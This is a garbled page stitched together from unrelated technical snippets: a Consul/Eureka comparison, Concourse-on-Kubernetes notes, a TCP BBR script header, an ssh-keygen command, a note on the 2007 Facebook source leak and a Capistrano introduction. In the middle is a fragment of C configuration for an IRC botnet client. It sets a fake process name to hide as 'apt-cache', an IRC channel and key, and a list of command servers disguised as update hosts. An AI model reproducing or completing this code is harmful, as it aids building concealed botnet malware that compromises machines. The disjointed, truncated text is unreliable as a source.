Comparison of Spring Cloud with Eureka
I feel Consul.io does better in the following area:
The focus on scriptable configuration allows for better container management.
Eureka requires either external Configuration Server or multiple configuration files.
The options for securing communications is more advanced.
Eureka requires creating application with security settings desired. Default will allow HTTP only. Registration of end points assumes http but can be forced to https with code.
This document outlines Brandwatch's Concourse installation running on Kubernetes. The full configuration can be found at https://github.com/BrandwatchLtd/concourse-ops (internal only currently). It's a fairly new installation (1-2 weeks) and we're slowly migrating work from our existing BOSH installation to this.
Comments/questions welcome below.
This is a work in progress and gets you to a running state (meaning you can bring the UI up via brower and login). It is not however fully tested.
To generate your keys, see https://concourse.ci/docker-repository.html and https://concourse.ci/binaries.html for notes on getting started.
Also see https://github.com/kubernetes/minikube/releases/tag/v0.12.1 for notes regarding minikube.
In this example, minikube was run on OSX sierra with v0.12.1 and xhyve hypervisor.
| #!/bin/bash | |
| set -eu | |
| SYSCTL_FILE=/etc/sysctl.d/90-tcp-bbr.conf | |
| # check root | |
| if [[ $EUID -ne 0 ]]; then | |
| echo "This script must be run as root" | |
| exit 1 | |
| fi |
| #define STARTUP 1 | |
| #undef IDENT // Only enable this if you absolutely have to | |
| #define FAKENAME "apt-cache" // What you want this to hide as | |
| #define CHAN "#mint" // Channel to join | |
| #define KEY "bleh" // The key of the channel | |
| int numservers=5; // Must change this to equal number of servers down there | |
| char *servers[] = { | |
| "updates.absentvodka.com", | |
| "updates.mintylinux.com", | |
| "eggstrawdinarry.mylittlerepo.com", |
create different ssh key according the article Mac Set-Up Git
$ ssh-keygen -t rsa -C "your_email@youremail.com"
In August 2007 a hacker found a way to expose the PHP source code on facebook.com. He retrieved two files and then emailed them to me, and I wrote about the issue:
http://techcrunch.com/2007/08/11/facebook-source-code-leaked/
It became a big deal:
http://www.techmeme.com/070812/p1#a070812p1
The two files are index.php (the homepage) and search.php (the search page)
by Jonathan Rochkind, http://bibwild.wordpress.com
Capistrano automates pushing out a new version of your application to a deployment location.
I've been writing and deploying Rails apps for a while, but I avoided using Capistrano until recently. I've got a pretty simple one-host deployment, and even though everyone said Capistrano was great, every time I tried to get started I just got snowed under not being able to figure out exactly what I wanted to do, and figured I wasn't having that much trouble doing it "manually".